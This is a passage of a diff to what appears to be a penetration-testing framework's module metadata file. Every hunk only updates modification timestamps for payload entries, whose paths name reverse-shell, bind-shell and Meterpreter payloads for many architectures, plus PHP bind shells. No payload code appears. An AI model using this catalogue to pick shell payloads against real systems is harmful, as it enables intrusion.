||||
@@ -185619,7 +186276,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/java/jsp_shell_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "java/jsp_shell_bind_tcp",
|
||||
@@ -185653,7 +186310,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "java/jsp_shell_reverse_tcp",
|
||||
@@ -185974,7 +186631,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-09-16 18:20:06 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/aarch64/meterpreter_reverse_http",
|
||||
@@ -186010,7 +186667,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-09-16 18:20:06 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/aarch64/meterpreter_reverse_https",
|
||||
@@ -186046,7 +186703,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-09-16 18:20:06 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/aarch64/meterpreter_reverse_tcp",
|
||||
@@ -186114,7 +186771,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/aarch64/shell_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/aarch64/shell_reverse_tcp",
|
||||
@@ -186150,7 +186807,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-09-16 18:20:06 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armbe/meterpreter_reverse_http",
|
||||
@@ -186186,7 +186843,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-09-16 18:20:06 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armbe/meterpreter_reverse_https",
|
||||
@@ -186222,7 +186879,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-09-16 18:20:06 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armbe/meterpreter_reverse_tcp",
|
||||
@@ -186256,7 +186913,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armbe/shell_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armbe/shell_bind_tcp",
|
||||
@@ -186431,7 +187088,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-09-16 18:20:06 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armle/meterpreter_reverse_http",
|
||||
@@ -186467,7 +187124,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-09-16 18:20:06 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armle/meterpreter_reverse_https",
|
||||
@@ -186503,7 +187160,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-09-16 18:20:06 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armle/meterpreter_reverse_tcp",
|
||||
@@ -186607,7 +187264,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armle/shell_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armle/shell_bind_tcp",
|
||||
@@ -186641,7 +187298,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armle/shell_reverse_tcp",
|
||||
@@ -186677,7 +187334,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mips64/meterpreter_reverse_http",
|
||||
@@ -186713,7 +187370,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mips64/meterpreter_reverse_https",
|
||||
@@ -186749,7 +187406,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mips64/meterpreter_reverse_tcp",
|
||||
@@ -186784,7 +187441,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsbe/exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsbe/exec",
|
||||
@@ -186856,7 +187513,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsbe/meterpreter_reverse_http",
|
||||
@@ -186892,7 +187549,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsbe/meterpreter_reverse_https",
|
||||
@@ -186928,7 +187585,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsbe/meterpreter_reverse_tcp",
|
||||
@@ -186963,7 +187620,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsbe/reboot.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsbe/reboot",
|
||||
@@ -187035,7 +187692,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsbe/shell_bind_tcp",
|
||||
@@ -187070,7 +187727,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsbe/shell_reverse_tcp",
|
||||
@@ -187105,7 +187762,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsle/exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsle/exec",
|
||||
@@ -187177,7 +187834,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-09-16 18:20:06 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsle/meterpreter_reverse_http",
|
||||
@@ -187213,7 +187870,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-09-16 18:20:06 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsle/meterpreter_reverse_https",
|
||||
@@ -187249,7 +187906,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-09-16 18:20:06 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsle/meterpreter_reverse_tcp",
|
||||
@@ -187284,7 +187941,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsle/reboot.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsle/reboot",
|
||||
@@ -187356,7 +188013,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsle/shell_bind_tcp",
|
||||
@@ -187391,7 +188048,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsle/shell_reverse_tcp",
|
||||
@@ -187427,7 +188084,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc/meterpreter_reverse_http",
|
||||
@@ -187463,7 +188120,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc/meterpreter_reverse_https",
|
||||
@@ -187499,7 +188156,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc/meterpreter_reverse_tcp",
|
||||
@@ -187739,7 +188396,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc64le/meterpreter_reverse_http",
|
||||
@@ -187775,7 +188432,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc64le/meterpreter_reverse_https",
|
||||
@@ -187811,7 +188468,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc64le/meterpreter_reverse_tcp",
|
||||
@@ -187847,7 +188504,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppce500v2/meterpreter_reverse_http",
|
||||
@@ -187883,7 +188540,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppce500v2/meterpreter_reverse_https",
|
||||
@@ -187919,7 +188576,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppce500v2/meterpreter_reverse_tcp",
|
||||
@@ -188061,7 +188718,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x64/meterpreter_reverse_http",
|
||||
@@ -188097,7 +188754,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x64/meterpreter_reverse_https",
|
||||
@@ -188133,7 +188790,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x64/meterpreter_reverse_tcp",
|
||||
@@ -188976,7 +189633,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x86/meterpreter_reverse_http",
|
||||
@@ -189012,7 +189669,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x86/meterpreter_reverse_https",
|
||||
@@ -189048,7 +189705,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x86/meterpreter_reverse_tcp",
|
||||
@@ -189607,7 +190264,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-17 03:12:01 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x86/shell_bind_tcp_random_port",
|
||||
@@ -189675,7 +190332,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x86/shell_find_tag.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x86/shell_find_tag",
|
||||
@@ -189710,7 +190367,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/x86/shell_reverse_tcp",
|
||||
@@ -189780,7 +190437,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/zarch/meterpreter_reverse_http",
|
||||
@@ -189816,7 +190473,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/zarch/meterpreter_reverse_https",
|
||||
@@ -189852,7 +190509,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/zarch/meterpreter_reverse_tcp",
|
||||
@@ -190022,7 +190679,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/nodejs/shell_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "nodejs/shell_bind_tcp",
|
||||
@@ -190057,7 +190714,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/nodejs/shell_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "nodejs/shell_reverse_tcp",
|
||||
@@ -190092,7 +190749,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "nodejs/shell_reverse_tcp_ssl",
|
||||
@@ -190330,7 +190987,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/osx/armle/vibrate.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/armle/vibrate",
|
||||
@@ -190640,7 +191297,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/osx/x64/exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/x64/exec",
|
||||
@@ -190789,7 +191446,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-09-16 18:20:06 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/x64/meterpreter_reverse_http",
|
||||
@@ -190825,7 +191482,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-09-16 18:20:06 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/x64/meterpreter_reverse_https",
|
||||
@@ -190861,7 +191518,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-09-16 18:20:06 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/x64/meterpreter_reverse_tcp",
|
||||
@@ -190895,7 +191552,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/osx/x64/say.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/x64/say",
|
||||
@@ -190929,7 +191586,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/osx/x64/shell_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/x64/shell_bind_tcp",
|
||||
@@ -190963,7 +191620,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/osx/x64/shell_find_tag.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/x64/shell_find_tag",
|
||||
@@ -190997,7 +191654,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-12-15 00:05:42 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/x64/shell_reverse_tcp",
|
||||
@@ -191442,7 +192099,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/php/bind_perl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "php/bind_perl",
|
||||
@@ -191477,7 +192134,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/php/bind_perl_ipv6.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "php/bind_perl_ipv6",
|
||||
@@ -191512,7 +192169,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/php/bind_php.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "php/bind_php",
|
||||
@@ -191547,7 +192204,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/php/bind_php_ipv6.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "php/bind_php_ipv6",
|
||||
@@ -191581,7 +192238,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
